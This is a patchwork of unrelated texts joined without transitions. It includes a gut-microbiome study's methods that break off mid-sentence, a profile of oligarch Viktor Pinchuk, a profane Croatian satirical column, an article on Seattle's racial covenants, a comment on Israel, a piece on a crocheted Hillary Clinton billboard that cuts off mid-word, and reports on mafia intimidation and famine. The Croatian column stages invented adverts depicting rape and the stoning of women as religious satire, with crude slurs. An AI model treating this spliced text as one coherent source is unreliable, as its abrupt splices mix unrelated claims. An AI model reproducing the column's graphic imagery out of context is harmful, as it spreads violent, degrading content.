There is growing awareness that microbial communities colonize different regions of the gastrointestinal tract, playing a major role in the health and disease of their host [ 1 ]. In the healthy state, the commensal microbes help to digest and absorb nutrients, modulate the immune system and provide protection against enteropathogens [ 1 2 ]. Gut microbial imbalance, followed by a state of dysbiosis, in turn, is associated with obesity [ 3 ], type 2 diabetes [ 4 ], cardiovascular disease [ 5 ] and non-alcoholic fatty liver disease [ 6 ]. Modulation of the gut microbiome has therefore become a topic of considerable interest.
In addition, multivariable least square regressions were performed in assessing the contribution of the variables (i.e., EreC, age, energy yield nutrients of fat, carbohydrates, protein and alcohol, as well as fat% of the whole body) and the outcome variables (i.e., VO 2max, leptin, HDL and TG). To make each outcome comparable, we standardized each column by means of z-scoring so that each column has mean value 0 and standard deviation 1. The Pearson correlation coefficients between the regressed outcome and the observed outcome were calculated and regression weights for each variable were provided. The higher the absolute weight, the higher the contribution.
Fecal samples were taken from evacuated stool by the subjects with detailed guidance and frozen immediately and stored at −70 °C until processing. The bacterial cells were separated and analyzed with a previously described method using 16S rRNA hybridization, DNA-staining, and flow cytometry [ 19 20 ]. The following five 16S rRNA-targeted oligonucleotide probes labelled at the 5′-end with Cy5 indocarbocyanine (Ex/Em 646/662 nm; Molecular Probes, Eugene, OR, USA) were used: Bacto1080 forgroup, Bif164 forspecies, Enter1432 for(Ent), EreC482 forgroup (group) and Fprau645 for(F.p).
Venous blood samples were taken in standardized fasting condition (12 h) in the morning (7–9 a.m.). Serum samples were stored frozen at −80 °C until analyzed. Serum triglycerides, total cholesterol and high-density lipoprotein (HDL) were determined by using KONELAB 20XTi analyzer (Thermo Fischer Scientific Inc, Waltham, MA, USA) and described previously [ 18 ]. The intra- and inter-assay correlation coefficients (CVs%) were 3.4% and 2.9% for triglycerides. Serum leptin was assessed using human leptin (ELISA; Diagnostic Systems Laboratories, Inc., Webster, TX, USA). The inter- and intra-assay coefficients of variation (CVs%) were 2.2% and 2.7% for leptin, respectively.
The maximum oxygen uptake (VO 2max in mL/kg/min) was assessed by a bicycle ergometer under the supervision of a physician. The test began with a 2-min warm-up at 50 W. After that the intensity was increased by 25 W at 2-min intervals until exhaustion. Electrocardiography was monitored continuously and heart rate and maximal work load were recorded at |
”
But even with all the obvious flaws of post-Soviet capitalists, many experts say that they skirted laws in an environment when laws were still being written and that without their wits and risk-taking, Ukraine, like neighboring Russia and some other ex-Soviet republics, risked sliding into a full economic collapse, a reversion to communism and authoritarianism. “It’s a special kind of people on which capitalism rests,” Aleksandr Paskhaver, head of the Center for Economic Development think tank, said of Pinchuk and other oligarchs. Without them, he added, “I would like to see what this country would have looked like.”
***
In the freezing winter of 2004, at the height of the Orange Revolution, opposition leader Yuri Lutsenko took a stroll through a protest tent camp set up on the capital’s main street, Khreshchatyk, a prominent tourist destination. Ukrainians had turned out in tens, even hundreds, of thousands to protest what they perceived as an attempt by Kuchma’s protégé Yanukovych to steal the vote and call for a new, honest election. Rich and poor, young and old, urban and provincial, wrapped in orange scarves, hats, arm bands, and whatever else they could attach to themselves, they stood freezing in the center of Kiev for days, then weeks, ditching work and university lectures. The protesters slept in tents despite cruel temperatures, warmed themselves with hot tea brought in thermoses by Orange-minded babushkas, ate buckwheat kasha from soup kitchens, and stomped their feet against the frozen ground, united and euphoric in their drive to defend Ukraine’s democracy.
Accompanying Lutsenko that evening was Viktor Pinchuk and Maria, his grown daughter from his first marriage, who had just flown to Kiev from London, where she was then studying. Pinchuk—Kuchma’s son-in-law and a public supporter of Yanukovych—was an unlikely figure to show up in the heart of the Orange protest camp, which was dotted with posters and caricatures denouncing Kuchma and even Pinchuk himself. As if to make that point, a young female activist approached Pinchuk and, as Lutsenko remembers it, handed him a ribbon that said “Down with Kuchma,” which he accepted politely and passed on to his daughter. Lutsenko believes that Pinchuk was moved by what he saw around him, even though he probably realized that a victory of the Orange Revolution did not bode well for him personally. “Something historic was happening and if you are a patriot of your country, it doesn’t matter which candidate you support,” Pinchuk told me. “You love this country, you want to take part in building it.”
After the courts annulled Yanukovych’s fraud-marred victory, his opponent, the pro-Western Orange candidate Viktor Yushchenko was elected president in a repeat vote. He picked Yulia Tymoshenko, Pinchuk’s business partner-turned rival, as prime minister and Pinchuk’s fortunes started to dim—literally. After annulling the Krivorozhstal sale and auctioning it off to Mittal Steel, Tymoshenko went after Pinchuk’s Nikopol plant—a key piece of his business empire. But after less than a year in office, Tymoshenko—recognizable to many in the West for her the blond braid she wears coiled around her head—was fired amid accusations that she was lobbying in the interest of Pinchuk’s rival Ihor Kolomoisky, Ukraine’s third richest man. (Both denied it.) A protracted and messy ownership dispute with Kolomoisky over Nikopol ensued, leading to a shaky settlement in 2006. (The truce hasn’t lasted: This past spring, Pinchuk filed suit in London against Kolomoisky and his partner Gennady Bogolyubov—both, like Pinchuk, Jewish oligarchs from Dnipropetrovsk—over the rights to a major ore-mining company.)
While he still lives like an oligarch, buying one of the most expensive mansions in London, paying $23 million for a Jeff Koons sculpture, and spending $5 million on his birthday party at the French ski resort of Courchevel, according to the New York Times and Forbes, he has been devoting an increasing amount of time and effort to philanthropy.
In 2006, Pinchuk left politics and established an eponymous foundation, which has distributed several hundred million dollars on a variety of projects, from funding an English-language economics school to building neonatal clinics. While his fellow post-Soviet oligarchs splurge on soccer teams, Pinchuk has opened a museum of contemporary art in Kiev, one of the largest in Central and Eastern Europe, bringing star artists—Koons, Damien Hirst, and Takashi Murakami—to new terrain and placing Ukraine on the global cultural map.
Pinchuk has also partnered with Steven Spielberg to produce Spell Your Name, a documentary about the Babi Yar massacre of over 33,000 Jews in a Kiev ravine in Nazi-occupied Kiev in one of the bloodiest chapters of the Holocaust in Ukraine. Pinchuk, whose family managed to escape Babi Yar but had friends who perished there, invested some $1 million into the movie, according to Lifestyles magazine. The film was also made into a learning manual for Ukrainian teachers to promote tolerance among Ukraine’s young. Pinchuk has also funded Holocaust by Bullets, a project of Fr. Patrick Desbois, a French Catholic priest who has spent several years canvassing Ukraine, Russia, and Belarus in search for the unmarked graves of hundreds of thousands of Jews who were gunned down by the Nazis and their collaborators before gas chambers were put to use.
He supports Ukraine’s resurgent Jewish community both financially and morally. On Pinchuk’s invitation, Tony Blair donned a yarmulke and toured Dnipropetrovsk’s gleaming new synagogue; the billionaire also took Chelsea Clinton with her Jewish husband Marc Mezvinsky, whose ancestors are from Ukraine, to the synagogue in Kiev.
In 2008, he invited Paul McCartney to sing in front of several hundred thousand euphoric Ukrainians on Kiev’s Independence Square, the site of the Orange Revolution protests and to millions more who watched Pinchuk’s TV channels, saying that a country cannot be considered democratic unless the Beatles sing there. The charity concert, which raised about half a million dollars to fight cancer, cost Pinchuk $5 million, according to the New York Times.
Pinchuk’s two other pet projects, the Yalta European Strategy conference and the Ukrainian lunch at the annual World Economic Forum at Davos, have helped open Ukraine to the West. The speakers at Yalta have included Shimon Peres, Newt Gingrich, Condoleezza Rice, Richard Branson, and, this year, Tony Blair and the Clintons. (Pinchuk is a generous contributor to both Blair’s and Clinton’s foundations.) But in the past three years, since Yanukovych, the target of the 2004 protests, was elected president, Pinchuk’s Yalta summits have become platforms for drawing Yanukovych, and Ukraine, toward the West, away from Moscow.
The conferences have also provided a kind of open debate that has been unseen elsewhere in Ukraine in recent years, let alone in much of the post-Soviet Union. This year, Vitaly Klitschko, the world heavyweight boxing champion and a top opposition leader, stood up from his seat, towering over the audience at 6 feet 7 inches, and asked Yanukovych point blank whether he would have the guts to resign. Lutsenko—who was jailed, along with Tymoshenko, after Yanukovych came to power—stood and begged Yanukovych to set Tymoshenko free. Finally, Hillary Clinton used her keynote speech to compliment Ukrainian chocolates, which are banned in Russia as retaliation for Kiev’s moves toward the European Union. This week, after Yanukovych flooded Kiev with riot police, Clinton called on the government to “choose dialogue with its people, not force.”
“Pinchuk was the first one to understand the necessity of capitalization of not only of his business, but also of the country,” Lutsenko said. “Today he is the promoter of Ukraine’s European path.”
Earlier this month, Pinchuk summoned a group of young Ukrainian artists to his museum to award an art prize, which he set up several years ago to promote contemporary art here. The top winner could talk about nothing but the protests outside, saying that the “performance” on Kiev’s streets was even more powerful that their art. Pinchuk took that as a compliment. “Perhaps you inspired them for it,” he told the artists.
Pinchuk is clearly also aware that his charitable work gives him a valuable venue for improving his reputation, befriending influential people in the West and, ultimately, securing protection for his family and assets at home. Last year, he signed up for the Giving Pledge, a movement led by Bill Gates and Warren Buffet to get the world’s billionaires to donate half of their money to charity. “It doesn’t really matter what a person begins from,” Pinchuk said, waving off a question about his intentions. “What matters is what he does and what he achieves in the end.”
***
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Maria Danilova has been the Ukraine Correspondent for the Associated Press since 2007. Previously, she worked in AP's Moscow bureau, covering Russia and other ex-Soviet republics. Her Twitter feed is @mashadanilova.Izvor: N1
Svatko ima puno pravo popizditi na seksizam u reklami za obuću ili Hrvatsku lutriju, svatko ima pravo popizditi zbog „vrijeđanja i ponižavanja žena i njihovog ljudskog dostojanstva“ u reklamama, baš svatko na svijetu osim svećenika, biskupa i vigilanata poput Batarelovih katoličkih ćudoredara...
Nakon što su protestnim pismima, peticijama, demonstracijama i molitvom ishodili zabranu blasfemičnih reklama, kojima su se teleoperater Tele2 i proizvođač energetskih napitaka Red Bull zajebavali s institucijom Božića, te blasfemičnog plakata kojim je predstavu Fine mrtve djevojke zagrebačko kazalište Gavella oglašavalo lezbijski konotiranim likom Djevice Marije, vigilanti iz paravojne katoličke udruge građana Vigilare - na čelu s Vincentom Vicom Johnom Or Whatever His Name Is Batarelom - mobilizirani su u novi križarski rat: rat u obranu časti i dostojanstva žene.
I bogami ih je lijepo krenulo. Najprije su izvojevali zabranu seksističke reklame trgovačkog lanca Shooster, da bi nakon njihovih molitvi i peticija - zbog „vrijeđanja i ponižavanja žena i njihovog ljudskog dostojanstva“ - svoju seksističku marketinšku kampanju ovih dana povukla i Hrvatska lutrija.
Ne spada u bolje žurnalističke običaje prepričati radnju filma, osobito ne njen rasplet, ali ako televizijsku reklamu Hrvatske lutrije niste vidjeli dosad, više ni nećete, pa dopustite stoga kratki spoiler: atraktivna plavuša u garderobi mijenja razne kombinacije sportske odjeće, zabavljajući se smartphoneom na kojemu – zahvaljujući Hrvatskoj lutriji i njihovoj novoj aplikaciji za pametne telefone, Score Alarm – u realnom vremenu saznaje sportske rezultate. U šokantnom raspletu, da skratim, reklama završava pozivom gledateljima da skinu aplikaciju Score Alarm, odnosno – tko kaže da Hrvati nemaju fantastičan smisao za humor? - samo kratko: „Skini je!“
Razumijete? Plavuša s mobitelom u ruci izazovno se uvija u pripijenom hrvatskom dresu… „Skini je“? Jebački, zar ne? Bogami je neki copywriterski genij dobio lijep bonus.
Takva, intelektualno odveć zahtjevna dvosmislenost poruke zasmetala je, eto, Vincentu Vegi Johnu Travolti Batarelu, posvećenom, kako ono, „borbi za autentični kršćanski stil života“: dopizdilo, naime, katoličkim vigilantima da se žensko tijelo koristi kao objekt za reklamiranje cipela, piva, automobila ili aplikacija za pametne telefone, umjesto za ono za što žensko tijelo oduvijek i jedino služi. Nikakvih nesporazuma ne bi bilo da je Hrvatska lutrija svoju reklamu završila jasnijim, i sasvim prikladnim katoličkim sloganom – „Skini je, povali je, pojebi je, istuci je, zaključaj je!“
Što, malo grubo?
Zamislimo sljedeću reklamu za aplikaciju Hrvatske lutrije Score Alarm: atraktivna plavuša u garderobi mijenja razne kombinacije sportske odjeće, zabavljajući se smartphoneom na kojemu u realnom vremenu saznaje sportske rezultate, dok glas u offu poziva gledatelja: „Skini je!“ U efektnom raspletu plavuša mrtva i unakažena leži pod gomilom kamenja, dok je njen mobitel sada u muškarčevim rukama: Score Alarm javlja „gol u gostima“, a on u kafiću maše djevičanski bijelom plahtom i nazdravlja djevojčinom ocu kriglom mrzlog piva. „Skini je i uzmi je“, pojašnjava telop: „Ako se na njoj nije našlo djevičanstvo, neka je izvedu na kućna vrata njezina oca, pa neka je ljudi kamenjem zasiplju dok ne umre!“
Pa malo niže: „Ponovljeni zakon, 22:13.“
Jebački, zar ne? Vidite kako se i trgovačkim marketingom može reklamirati, kako ono, „autentični kršćanski stil života“. A nema, složit će se i Vincent Vice John, autentičnije od Biblije.
Imam ja takvih ideja koliko hoćete. Zgodan starozavjetni koncept s dokazivanjem djevičanstva javnim pokazivanjem krvave plahte dušu je dao, recimo, za reklamiranje odstranjivača tvrdokornih mrlja. Ili, štajaznam, ekspres gotovinskih kredita: atraktivna plavuša u garderobi isprobava odjeću, kad je iznenada zaskoči neki rmpalija, odvuče do kreveta, veže i siluje. U efektnom raspletu cijelo susjedstvo s divljenjem gleda krvavu plahtu obješenu na prozor, samo djevojčin otac u automobilu nestrpljivo čeka rmpaliju pred poslovnicom obližnje banke. „Ako čovjek naiđe na mladu djevicu pa je pograbi i s njom legne, tada čovjek koji je s njom ležao neka djevojčinom ocu dade pedeset srebrnjaka. (Ponovljeni zakon, 22:22-28)“
Ili - nije ni ova loša - reklama za selotejp: atraktivna plavuša sa zaručnikom šeće ulicom, kad ih iznenada zaskoči neki rmpalija, ljepljivom trakom njemu veže ruke, a njoj zapuši usta, pa joj grubo strga odjeću i brutalno siluje tri puta zaredom. U sljedećem kadru vidimo ih zakopane u zemlju do pojasa: dok je njoj i dalje na ustima onaj selotejp, njemu igra blaženi osmijeh. „Ako mladu djevicu zaručenu za nekoga u gradu sretne drugi čovjek i s njom legne“, objašnjava potpis pod logotipom proizvođača ljepljive trake, „oboje ih dovedite vratima toga grada, pa ih kamenjem zasipljite dok ne umru: čovjeka zato što je oskvrnuo ženu bližnjega svoga, a djevojku što nije zvala u pomoć. (Ponovljeni zakon, 22:23)“
Ima ja, rekoh, tih ideja na bacanje, ali shvatili ste već. Sveto je pismo neiscrpni copywriterski zlatni rudnik, a oglašivačka industrija upravo idealan medij za širenje Batarelova „autentičnog kršćanskog stila života“. Od same Knjige postanka, u kojoj se lijepo opisuje kako je Gospod Bog zaključio da „nije dobro čovjeku da je sam“, odlučivši „načiniti mu pomoćnicu koja mu pristaje“, pa do Novog zavjeta, u kojemu se lijepo objašnjava da je „muž glava žene kao što je i Krist glava Crkve“ – „Pa kao što se Crkva podlaže Kristu, tako i žene muževima u svemu“ – Biblija i nije ništa drugo doli prošireni priručnik za rukovanje ženom.
A njom, bogami, treba znati rukovati, jer žena je – naučit ćete iz Priručnika – pogano, svojeglavo, zlo i opako biće: „Bolja je zloća muška nego dobrota ženska; od žene potječe sramota i ruglo. (Knjiga Sirahova, 42:14)“ Zato joj, najzad, glas u offu u Knjizi postanka prilično nedvosmisleno poručuje: „Trudnoći tvojoj muke ću umnožiti, u mukama djecu ćeš rađati!“
Ako oglašivačka industrija, braćo i sestre, i jest muškošovinistička, a jest, ako je ponekad i baš imbecilno seksistička, i nepodnošljivo mizogina, a jest, ona je takva jer je cijela naša civilizacija muškošovinstička, seksistička i mizogina; a naša je civilizacija – hvala na pitanju - cijela takva zato što počiva na muškošovenskim, seksističkim i mizoginim abrahamskim religijama, utemeljenima na konceptu muskulocentrizma. Ako je itko normirao poredak u kojemu je žena komad mesa - tek zgodna kućna aplikacija za kuhanje, čišćenje, jebanje i rađanje - i ako je itko više-manje neoštećen takav koncept sačuvao dvije hiljade godina i doveo ga do našeg stoljeća, onda su to tri slavne abrahamske religije.
Svatko stoga ima puno pravo popizditi na seksizam u reklami za obuću ili Hrvatsku lutriju, svatko ima pravo popizditi zbog „vrijeđanja i ponižavanja žena i njihovog ljudskog dostojanstva“ u reklamama, baš svatko na svijetu osim svećenika, biskupa i vigilanata poput Batarelovih katoličkih ćudoredara, licemjera koji žensko dostojanstvo brane mašući knjigom i naukom koji i nisu ništa drugo doli iscrpno uputstvo za ponižavanje žene i njenog ljudskog dostojanstva.
Pokušajte, najzad, zamisliti kako bi danas izgledao naš svijet da je dvije hiljade godina gradio hramove Bogu i Crkvi čiji ga marketing svih tih dvije hiljade godina uči da su muškarac i žena jednako vrijedni, i da je žena misleće biće sa jednakim pravima. Pokušajte, jebiga, svijet zamisliti da ga Crkva tako uči barem danas.
Ovako, licemjerni šupci iz Vigilarea i njihovi kolege iz ostalih srednjevjekovnih udruga najnormalnije će ujutro na porte hrvatskih crkava lijepiti plakate s reklamama za nekakav kretenski katolički self-help za smjerne kršćanke, s porukom, citiram, „Poštujem li njegovu potrebu za spolnim odnosom sa mnom i onda kada za to nisam raspoložena? Puštam li ga da on bude vođa?“, a navečer popizditi kada neka slaboumna reklama a plavušom u pripijenoj majici poruči „Skini je!“.
Odnosno - u integralnoj verziji - „Poštuje li ona tvoju potrebu za spolnim odnosom s njom i onda kad reklamira aplikaciju za mobitel? Pušta li te kurva da budeš vođa?“.
„Žudnja će te mužu tjerati, a on će gospodariti nad tobom!“ – nije to, braćo i sestre, poruka iz kataloga erotskog donjeg rublja, nije to ni oglas za ženske cipele ni reklama za Hrvatsku lutriju, već Knjiga postanka, 3:16.
Ide ti na kurac takva licemjerna Crkva?
Skini je.In 1927, a small group of white homeowners on Capitol Hill had a problem: How to keep the Central District’s black population corralled to the “ghetto” south of Madison.
Gone were the days when whites could simply pass a law prohibiting blacks from moving into their neighborhoods. The Supreme Court had ruled such restrictive ordinances unconstitutional 10 years earlier.
So some of Capitol Hill’s forefathers (and foremothers) discovered a work-around: They went door to door getting their white neighbors to sign a covenant promising not to sell or rent their houses to people of “negro Blood” for at least 21 years. The effort appears to have been lead by a group called the Capitol Hill Community Club. In 1947, the covenants covered 183 blocks around the neighborhood.
Capitol Hill’s “redlining” of the Central District was not an uncommon practice in Seattle or around the country. Several Seattle neighborhoods implemented similar covenants, including Broadmoor, where neighbors also restricted “Hebrews” “Orientals” and, just to really hammer home the point, all other “non-Caucasians.
In 2006, a group of University of Washington students discovered 126 covenants covering thousands of properties all over Seattle. The trove of documents reveals a shameful truth of Capitol Hill’s not-too-distant past: it was once neighborhood policy to keep the Central District black in order to keep Capitol Hill white.
It is important to note that whites did not create Seattle’s historically African American neighborhood — a black man did. In 1882, William Grose, an early black pioneer in Seattle, bought 12 acres of land in Madison Valley from Henry Yesler. At the time, the plot was a thickly wooded area far from the hub of activity along the city’s waterfront. But when the Madison Street Cable Car began service in 1889, it made the area accessible to other citizens and more black families moved in.
For the next 50 years, Madison Valley and the hill up to 23rd would continue to be the geographic heart of the city’s African American community. Racist ordinances and covenants helped make sure it stayed that way.
While many of these once common racist housing policies were gone by the 1960s, their effects persist in most metro areas.
Ferguson, MO is one of those places. The St. Louis suburb was once an almost exclusively white enclave,where homeowners and landlords kept black families at bay for decades. In the 1960s, black families came to Ferguson seeking a refuge from the decaying inner city.
Of course, once the covenants were eradicated, black families still continued to struggle to buy houses. Banks discriminated against minorities, making it difficult for black families to improve their neighborhoods or move to nicer areas. In 1968 Thomas Purnell, a black man, opened Liberty Bank at 23rd and Union, in part so he could lend money to black families who were otherwise shut out of white-owned banks.
After Liberty shut down in 1988, Africatown activists tried to save the bank building earlier this year, citing the bank’s important legacy of supporting the area’s black community. While some on the Landmark Preservation Board agreed the bank itself was historically significant, the board ruled the building’s lack of architectural significance meant it didn’t qualify for landmark status. The ruling paved the way for Capitol Hill Housing to build affordable apartments on the property next year. The City of Seattle, in the meantime, is looking into the creation of a municipal bank to address ongoing issues of inequity and access to capital in the city.
Some of the Central District residents taking to the streets in recent weeks almost certainly had parents who were the victims of the restrictive covenants. The policies continue to affect Central Area residents today.
Seattle’s present-day Inner City, sadly, is not alone.
Using UW’s research, The Seattle Times complied a list of the covenants found in various Seattle neighborhoods:
Greenwood: “No person or persons of Asiatic, African, or Negro blood, lineage or extraction.” South Lake City: “No person of African, Japanese, Chinese, or of any other Mongolian descent.” Ballard/Sunset Hills: No “Hebrew or … any person of the Ethiopian, Malay or any Asiatic Race.” Magnolia: “No person or persons of Asiatic, African or Negro blood, lineage or extraction.” Beacon Hill: “No person other than the Caucasian race.” Bellevue: “No person of African, Japanese, Chinese, or of any other Mongolian descent.” Sammamish: No “person of the Malay or any Asiatic race or descent, or any person of the races commonly known as the Negro races, or of their descent.” White Center: No “Hebrew or … any person of the Ethiopian, Malay or any Asiatic Race.”
The roster is a disappointing historical backdrop for Seattle and cities where similar covenants existed. “The history of racial restrictive covenants and racial segregation, while generally forgotten, is an immensely important aspect of Seattle’s past,” the UW study concludes. “It has left its mark on all Seattle neighborhoods and has shaped the demographics of Seattle’s residential neighborhoods.”
As protests and marches continue, the covenants can be a reminder of the mistakes of the not so distant past and how much is left to be repaired and built.I agree with the writer that Israel has a very unique opportunity today.
Of course many people could offer valid argument for and against whether Israel is truly democratic, or whether Israel's treatment of the Palestinians is justified or not, but I think today there is hardly any leading western nation that could step into a light showcasing true democracy, true freedom even for its own citizens, or benevolent behavior towards its neighbors and others.
It is not only the Middle East that is in turmoil today but the whole global world.
Many people overlook the fact that the "nation" living in Israel is not a homogeneous nation but a very complex mixture of multiple nationalities, even cultures connected by historic tradition or common customs, or not even by such ties.
Despite this very inherently different mixture Israel maintains a democratic structure that is at least as functional as any other current western democracy.
And Israel is achieving this in the middle of an exploding volcano, which even up to this point constantly threatened its existence but now the situation has become so unstable and unpredictable that nobody can even guess what is going to happen in the next hour.
Thus Israel has a lot to offer to the rest of the world.
If they could come out of their shell and start teaching to the rest of the world how to unite and survive based on that national unity above their vast, inherent differences, even internal hatred, that could offer a possible solution for not on the Middle East sinking into bloodshed right now, but even for the rest of the world sinking in the unsolvable global crisis, which also has only one possible solution: a mutually responsible and mutually complementing global communication and cooperation between all the nations.
Today there are no individual, or national, bilateral or even regional solutions, there exist only a global mutual solution to all of our problems.This past Thursday, the Polish-American artist Olek watched, smiling, as her newest work was carefully nailed onto a sixteen-by-forty-six-foot billboard overlooking a busy New Jersey highway. The piece, which was crocheted by Olek and thirty-eight volunteers, all but two of them women, was an enormous neon-pink blanket featuring Hillary Clinton’s smiling face and the hashtag #ImWithHer rendered in black and white. “This is my gift to Hillary,” Olek said.
The thirty-eight-year-old yarn artist, best known for covering the Wall Street bull, in 2010, in pink and purple crochet, first dreamed up the pro-Hillary piece in January, while considering the political art she had seen so far in this election cycle. “A lot of artists had at one point been doing pro-Bernie art, and a lot since were doing anti-Trump art, but there simply had not been much pro-Hillary art,” she said. At first, the notion of making an overtly political piece did not sit well with her. But with one month to go, she changed her mind. “I couldn’t turn my back,” she told me. “There was too much at stake.”
What followed was a mad-dash marathon of crocheting: 794,880 stitches in less than four weeks. It culminated in an all-nighter at her Lower East Side studio the night before the piece was installed. When I visited that evening, the studio looked like the scene of a frantic blanket-liquidation sale—colorful crocheted items were scattered everywhere, and yarn spools unravelled here and there on the floor. Olek, wearing pink-and-black camo cargo pants, a T-shirt with flowers on it, and oversized red glasses, sat in the center of it all drinking maté and directing a group of six volunteers. (There was a seventh, I would later learn, who was napping in the folds of a finished portion of the piece.) A few of the volunteers had worked with Olek on past projects. Others had responded to Olek’s posts on Facebook and Instagram asking for help. All of them, along with a number of other crochet volunteers, had been cycling in and out of Olek’s studio for weeks. Now, with about ten hours left before the installation, the small group looped their hooks rapidly over and over again, according to stitching charts Olek had provided, while half-listening to NPR podcasts playing on Olek’s phone.
One of the podcasts, an episode of “Hidden Brain,” happened to concern the representation gap between men and women in the United States. The episode’s narrator, Shankar Vedantam, said that the odds of randomly having forty-four male Presidents in a row would be one in eighteen trillion. The seven volunteers, including one man, appeared to listen intently as they crocheted. “It is definitely in part sexism,” Olek said later, during a cigarette break, about the dearth of pro-Hillary art. “But it’s also because she isn’t hip.” She took a drag from her cigarette, which she had hand-rolled. “I don’t give a damn about that,” she continued. “Hillary might not be cool, but she is qualified, experienced, and competent. Yeah, I don’t want to hang out with her. I don’t want to drink beer with her. I don’t want to go dancing all night with her. But I want her to be our President.”
Back in the studio, one volunteer was explaining “the knitter’s curse” to some of the others who had never heard of it. “Don’t ever give your boyfriend a sweater you’re knitting for him,” she explained. “He’ll break up with you before you get to the sleeves.” The other volunteers laughed. “The only way around it is to knit some of your own hair into the sweater.” Olek held up a portion of the poster she was working on and said, “Don’t worry, there’s a lot of my hair in this piece.”
Shortly before noon the next day, the completed work arrived at an abandoned building in New Jersey, the roof of which looks over Route 139, several hundred yards before the entrance to the Holland Tunnel. (About forty-three thousand vehicles pass eastbound through the tunnel each day.) The building is owned by Mana Contemporary, a New Jersey-based arts center which devotes several of the billboards to rotating public-art exhibitions. Stanley Sudol, the director of Mana Urban Arts Project, had been told about Olek’s project by a mutual acquaintance in the art world and had offered the space.
As four construction workers carried the rolled-up blanket up the stairs and hoisted it on top of the billboard, Olek, Sudol, and a couple of Olek’s volunteers chatted about the piece that preceded this one. It was by the anarchist art collective INDECLINE, and consisted of a naked Donald Trump statue standing in front of an upside-down American flag. (The naked Trump statue, a similar version of which recently sold at auction for twenty-two thousand dollars, had been stolen, the thief having carefully sheared off the statue’s bolts over the course of three hours one night in September.) Stanley had worked on a number of other anti-Trump pieces as well, including a billboard by the Brazilian artist Sipros in Jersey City, featuring Trump, painted like the comic-book villain the Joker, sewing grenades into the American flag.
When asked why he had chosen to do anti-Trump pieces instead of pro-Clinton ones, Stanley said, “Negativity inspires art. Positivity is for hotel rooms.” With Trump, in particular, vitriol had been a powerful catalyst. “Trump is riling up such hatred and divisiveness,” he said. “We’re throwing that shit back in his face.” Stanley went on to say that Bernie Sanders had inspired supportive art because “the artist gestalt is Bernie Sanders—pissed off, saying truth to power, feeling like they don’t give a fuck.” Hillary, on the other hand, “isn’t cool,” he added, echoing Olek. He also agreed with Olek that, right now, this was beside the point. “Hillary’s not about posters or anything like that. That’s anathema to her. She’s about getting things done. And this country doesn’t need cool. We need insurance. We need economic stability.”
Once the piece had been unfurled, Olek directed the construction workers to stretch it in certain areas so that Hillary’s carefully stitched face did not look bloated or lopsided. “The funny thing is I hadn’t been a crazy Hillary supporter at first,” Sarah Murphy, one of Olek’s volunteers, who had sustained a shoulder injury from excessive crocheting, told me. She said with a mischievous smile that she had even considered wearing her Bernie sweatshirt to the installation. But since working on the project she had become increasingly pro-Hillary. And she thought that the piece would have a similar impact on others: “When it says ‘I’m with her,’ it means Olek is with her. It means artists are with her. It means the crochet community is with her.” She looked up. “I mean, maybe that’s small, but it still means something.”
Some cars hon |
area."
Sympathy has been expressed for her at provincial and national level.
The senior official in the Calabria region concedes that the Italian state has failed in its duty to support Mrs Lanzetta. He says that mafia activity of this kind cast doubt on the viability of democracy in the area.
All across southern Italy, local councillors frequently come under intense pressure from the mafia.
An association formed by officials under threat has reported the burning down of property and shootings - as well as bullets and even the severed heads of animals being sent in the post.
Avviso Pubblico (which means "public notice") says that there were 212 cases of intimidation of local officials from organised crime in 2010 - 41% of them in the region of Calabria, where Monasterace is located.
The president of the Reggio Calabria province, Giuseppe Raffa, says the problem of intimidation "casts doubts about the democratic sustainability of southern Italy and Calabria," areas which are suffering the effects of the economic crisis.Our world produces enough food to feed all its inhabitants. When one region is in the grips of severe hunger, global humanitarian institutions, though often cash-strapped, are theoretically capable of transporting food and averting catastrophe.
But this year, South Sudan has slipped into famine, and Yemen, Nigeria and Somalia are on the verge of their own. Famine threatens 20 million people - more than at any time since World War II. As defined by the United Nations, famine occurs when a region's daily hunger-related death rate exceeds 2 per 10,000 people.
The persistence of such severe hunger, even in inhospitable climates, would be almost unthinkable without war.
Each of these four countries is in a protracted conflict. While humanitarian assistance can save lives in the near term, none of the food crises can be solved in the long term without a semblance of peace. The threat of violence can limit or prohibit aid workers' access to affected regions, and in some cases, starvation may be a deliberate war tactic.
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War and famine along the White Nile, in South Sudan
In February, the United Nations declared a famine in South Sudan's Mayendit and Leer counties. It was the world's first famine declaration since 2011, in Somalia.
But even in these two counties, more people die every day from bullets than from empty stomachs or disease. The state the counties are in, Unity, has seen some of the worst violence since South Sudan became an independent country in 2011.
Unity is the home state of Riek Machar, a former vice president and the leader of a rebel army of mostly ethnic Nuer people that has been locked in violent confrontations with South Sudan's army, controlled by President Salva Kiir of the Dinka ethnic group, since 2013. Kiir's army and allied militias have swept through Unity time and again, razing and burning entire villages, slaughtering and raping as they go. Thousands of people have drowned in the state's rivers and swamps as they fled.
Those rivers and swamps would otherwise provide Unity's people with abundant fish and water for irrigation. But relentless war renders just about all aspects of daily life unsafe, with people too afraid to leave home, fish, plant or trade. Many are eating grass and water lilies just to survive.
Both the rebels and the government have made it difficult for aid workers to reach the most-affected counties. The Washington Post's Africa correspondent, Kevin Sieff, recently reported on the government's obstructionism.
Sieff described how, at more than 70 checkpoints on the road between Juba and Unity state, soldiers would often demand bribes or food from aid workers, and how the government refuses to let the United Nations operate flights that could drop food supplies over at-risk areas. Dozens of aid workers attempting workarounds have been killed in the war's crossfire.
The United States and others in the U.N. Security Council have proposed an arms embargo to limit the South Sudan government's capacity for violence. But when it came to a vote in December, more than half of the council members, including China and Russia, abstained. Neighboring African countries have discussed a coordinated armed intervention, but that has not garnered much support.
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Civil war leaves Yemen splintered and under siege
Since 2015, Yemen has been in a civil war. The fighting has divided control of the country along sectarian and ideological lines, and killed more than 10,000. It has also decimated Yemen's economy.
Yemen was fragile before the war, but its currency, industry, transport infrastructure and public services have all but been destroyed in the past two years. Millions are jobless, and food and fuel prices have shot through the roof. An estimated 17 million people, or 60 percent of the population, are in need of urgent humanitarian assistance; about 7 million are living day-to-day, enduring until they wither away.
The physical destruction has mostly been the work of the Saudi-led coalition - advised and supplied by the United States, Britain and others - that has sided with Yemen's Sunni president against the Houthis, a Shiite militia that controls the capital, Sanaa, and much of the country's western coast.
One key piece of infrastructure that the coalition has made near-inoperable is the Houthi-controlled port of Hodeida, Yemen's largest and most vital. Almost 90 percent of Yemen's food is imported, and most of it came through Hodeida. Saudi ships are enforcing a near-total blockade of the port, arguing that they can't risk arms smuggling, even though the United Nations inspects each ship on arrival.
